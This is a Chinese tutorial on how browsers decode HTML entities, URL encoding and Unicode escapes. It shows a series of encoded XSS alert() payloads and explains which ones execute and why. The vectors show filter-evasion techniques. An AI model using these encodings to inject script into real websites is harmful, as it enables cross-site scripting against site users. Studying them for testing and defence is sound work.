深入理解浏览器解析机制和XSS向量编码

URL 编码 "javascript:alert(1)"---->%6a%61%76%61%73%63%72%69%70%74:%61%6c%65%72%74%28%31%29

复制代码
<a href="%6a%61%76%61%73%63%72%69%70%74:%61%6c%65%72%74%28%31%29">aaa</a>-------浏览器解析不了。
页面识别在url解码之前,在识别标签和属性的时候还没解码,页面就不认识这串编码,不会把它们当作 JS 代码执行
<a href="&#x6a;&#x61;&#x76;&#x61;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;:%61%6c%65%72%74%28%32%29">
页面识别的时候,已经进行HTML实体解码,变成了<a href="javascript:%61%6c%65%72%74%28%32%29">aaaaa</a>浏览器会识别它为可执行JS代码。
页面的解析顺序:html实体编码---->urlencode---->unicode
复制代码
<a href="javascript%3aalert(3)"></a>
不能识别
因为“:”被url编码了,javascrip:才能被浏览器识别为可执行JS代码。
复制代码
<div>&#60;img src=x onerror=alert(4)&#62;</div>---HTML字符实体编码 < 和 >
能解码但是无法解析
把“<”和“>”HTML实体编码后不会进入标签开始状态(涉及到html的状态机制)
复制代码
<textarea><script>alert(6)</script></textarea>-----无法解析
RCDATA元素(RCDATA elements),有<textarea>和<title> 。可以容纳文本和字符引用。但是一旦有字符引用可能就无法进入标签开始状态大概率利用不了。
复制代码
<script>&#97;&#108;&#101;&#114;&#116;&#40;&#57;&#41;&#59;</script>
原始文本元素(Raw text elements),有<script>和<style>,可以容纳文本。只能把里面的内容当做文本  利用不了
​
<script>\u0061\u006c\u0065\u0072\u0074(10);</script>
JavaScript引擎在解析代码时,会先处理Unicode转义,然后再执行代码。
解析后的代码:<script>alert(10);</script>
​
<script>\u0061\u006c\u0065\u0072\u0074\u0028\u0031\u0031\u0029</script>(JS严格区分大小写,不能对符号编码)
​
<script>\u0061\u006c\u0065\u0072\u0074(\u0031\u0032)</script>不能解析
JS将解码后,会认为它是一个字符串,字符串要用单引号引起来。
​
<a href="&#x6a;&#x61;&#x76;&#x61;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;&#x3a;&#x25;&#x35;&#x63;&#x25;&#x37;&#x35;&#x25;&#x33;&#x30;&#x25;&#x33;&#x30;&#x25;&#x33;&#x36;&#x25;&#x33;&#x31;&#x25;&#x35;&#x63;&#x25;&#x37;&#x35;&#x25;&#x33;&#x30;&#x25;&#x33;&#x30;&#x25;&#x33;&#x36;&#x25;&#x36;&#x33;&#x25;&#x35;&#x63;&#x25;&#x37;&#x35;&#x25;&#x33;&#x30;&#x25;&#x33;&#x30;&#x25;&#x33;&#x36;&#x25;&#x33;&#x35;&#x25;&#x35;&#x63;&#x25;&#x37;&#x35;&#x25;&#x33;&#x30;&#x25;&#x33;&#x30;&#x25;&#x33;&#x37;&#x25;&#x33;&#x32;&#x25;&#x35;&#x63;&#x25;&#x37;&#x35;&#x25;&#x33;&#x30;&#x25;&#x33;&#x30;&#x25;&#x33;&#x37;&#x25;&#x33;&#x34;&#x28;&#x31;&#x35;&#x29;">aaa</a>
首先被解码为javascript:%5c%75%30%30%36%31%5c%75%30%30%36%63%5c%75%30%30%36%35%5c%75%30%30%37%32%5c%75%30%30%37%34(15)
此时浏览器会识别它为可执行JS代码,然后会进行urlencode解码\u0061\u006c\u0065\u0072\u0074,然后进行unicode解码alert